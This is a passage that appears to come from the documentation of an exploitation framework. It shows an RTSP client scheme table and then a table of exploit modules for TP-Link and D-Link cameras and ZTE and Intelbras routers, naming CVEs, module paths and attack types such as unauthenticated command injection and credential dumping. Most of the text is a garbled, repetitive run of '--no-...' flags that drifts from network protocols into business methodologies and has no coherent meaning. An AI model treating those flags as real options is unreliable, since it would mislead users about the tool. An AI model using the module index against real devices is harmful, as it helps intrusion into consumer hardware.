rtsp | 554 | RTSPClient(host, port) |
rtsps | 443/8443 | RTSPClient(host, port, use_tls=True) |
http | 80/8080 | RTSPClient(host, port, tunnel_http=True) |
https | 443/8443 | RTSPClient(host, port, use_tls=True, tunnel_http=True) |
| auto | any | RTSPClient.from_scheme(host, port, "http") |
| Gerät | CVE | Modulpfad | Angriffstyp |
|---|
| TP-Link TL-SC3171 / SC4171 / SC4171G | CVE-2013-2573 | exploits/cameras/tplink/tl_sc_series_cmd_inject_cve_2013_2573 | Command Injection (unauth) |
| TP-Link TL-SC3171 / SC3130 | CVE-2013-2581 | exploits/cameras/tplink/tl_sc_series_unauth_firmware_upload_cve_2013_2581 | Unauthenticated Firmware Upload |
| D-Link DCS-932L | CVE-2026-36983 | exploits/cameras/dlink/dcs_932l_light_sensor_rce_cve_2026_36983 | Light Sensor RCE |
| D-Link DCS-932L | CVE-2025-5573 | exploits/cameras/dlink/dcs_932l_admin_cmd_inject_cve_2025_5573 | Admin Panel Command Injection |
| D-Link DCS-933L | CVE-2026-2218 | exploits/cameras/dlink/dcs_933l_admin_cmd_inject_cve_2026_2218 | Admin Panel Command Injection |
| ZTE ZXHN H267N / H268N | CVE-2026-34473 | exploits/routers/zte/zxhn_h267n_h268n_dos_cve_2026_34473 | Denial of Service |
| ZTE ZXHN H298A / H108N | CVE-2026-34474 | exploits/routers/zte/zxhn_h298a_cred_dump_cve_2026_34474 | Credential Dump (ETHCheat) |
| Intelbras IWR routers | - | exploits/routers/intelbras/iwr_luci_rpc_rce | LuCI RPC Unauthenticated RCE |
| Multi-vendor BR ISP scanner | - | scanners/specialized/br_isp_scanner | Active discovery + vuln check |
--no-xxe--no-ssti--no-deserialization--no-ldap--no-xpath--no-nosql--no-graphql--no-websocket--no-grpc--no-http2--no-http3--no-quic--no-dns--no-tcp--no-udp--no-icmp--no-arp--no-ipv6--no-ipv4--no-mac--no-vlan--no-dhcp--no-ntp--no-snmp--no-smb--no-ftp--no-ssh--no-telnet--no-rdp--no-vnc--no-ldap--no-kerberos--no-ntlm--no-oauth--no-saml--no-jwt--no-openid--no-sso--no-mfa--no-2fa--no-captcha--no-waf--no-ids--no-ips--no-honeypot--no-sandbox--no-container--no-docker--no-kubernetes--no-cloud--no-aws--no-azure--no-gcp--no-oci--no-ibm--no-alibaba--no-digitalocean--no-linode--no-vultr--no-hetzner--no-ovh--no-scaleway--no-upcloud--no-packets--no-frames--no-streams--no-sockets--no-ports--no-protocols--no-services--no-applications--no-systems--no-networks--no-devices--no-users--no-groups--no-roles--no-permissions--no-policies--no-rules--no-configs--no-secrets--no-keys--no-tokens--no-passwords--no-hashes--no-salts--no-nonces--no-ivs--no-ciphers--no-algorithms--no-protocols--no-standards--no-rfcs--no-specs--no-docs--no-tests--no-examples--no-demos--no-samples--no-tutorials--no-guides--no-manuals--no-references--no-cheatsheets--no-snippets--no-templates--no-scripts--no-plugins--no-modules--no-extensions--no-addons--no-packages--no-libraries--no-frameworks--no-platforms--no-oses--no-distros--no-versions--no-releases--no-builds--no-commits--no-branches--no-tags--no-forks--no-stars--no-watchers--no-issues--no-pulls--no-merges--no-rebases--no-cherry-picks--no-stashes--no-resets--no-reverts--no-amends--no-squashes--no-fixes--no-features--no-bugs--no-issues--no-tickets--no-tasks--no-projects--no-milestones--no-sprints--no-epics--no-stories--no-backlogs--no-boards--no-kanbans--no-scrums--no-agiles--no-waterfalls--no-leans--no-six-sigmas--no-kaizens--no-pdsas--no-demas--no-dmadvs--no-dfsss--no-qfds--no-fmeas--no-ftas--no-hazops--no-phas--no-lopas--no-bowties--no-risks--no-opportunities--no-swots--no-pestles--no-porters--no-bcgs--no-ansoffs--no-value-chains--no-balanced-scorecards--no-kpis--no-okrs--no-mbos--no-smarts--no-ffs--no-pdpcas--no-ois--no-ts--no-tpms--no-5ss--no-kanos--no-qfds--no-doe--no-taguschis--no-shainins--no-six-sigma-dmaics--no-lean-six-sigmas--no-dfsss--no-qfds--no-fmeas--no-ftas--no-hazops--no-phas--no-lopas--no-bowties--no-risks--no-opportunities--no-swots--no-pestles--no-porters--no-bcgs--no-ansoffs--no-value-chains--no-balanced-scorecards--no-kpis--no-okrs--no-mbos--no-smarts--no-ffs--no-pdpcas--no-ois--no-ts--no-tpms--no-5ss--no-kanos--no-qfds--no-doe--no-taguschis--no-shainins--no-six-sigma-dmaics--no-lean-six-sigmas--no-dfsss--no-qfds--no-fmeas--no-ftas--no-hazops--no-phas--no-lopas--no-bowties--no-risks--no-opportunities--no-swots--no-pestles--no-porters--no-bcgs--no-ansoffs--no-value-chains--no-balanced-scorecards--no-kpis--no-okrs--no-mbos--no-smarts--no-ffs--no-pdpcas--no-ois--no-ts--no-tpms--no-5ss--no-kanos--no-qfds--no-doe--no-taguschis--no-shainins--no-six-sigma-dmaics--no-lean-six-sigmas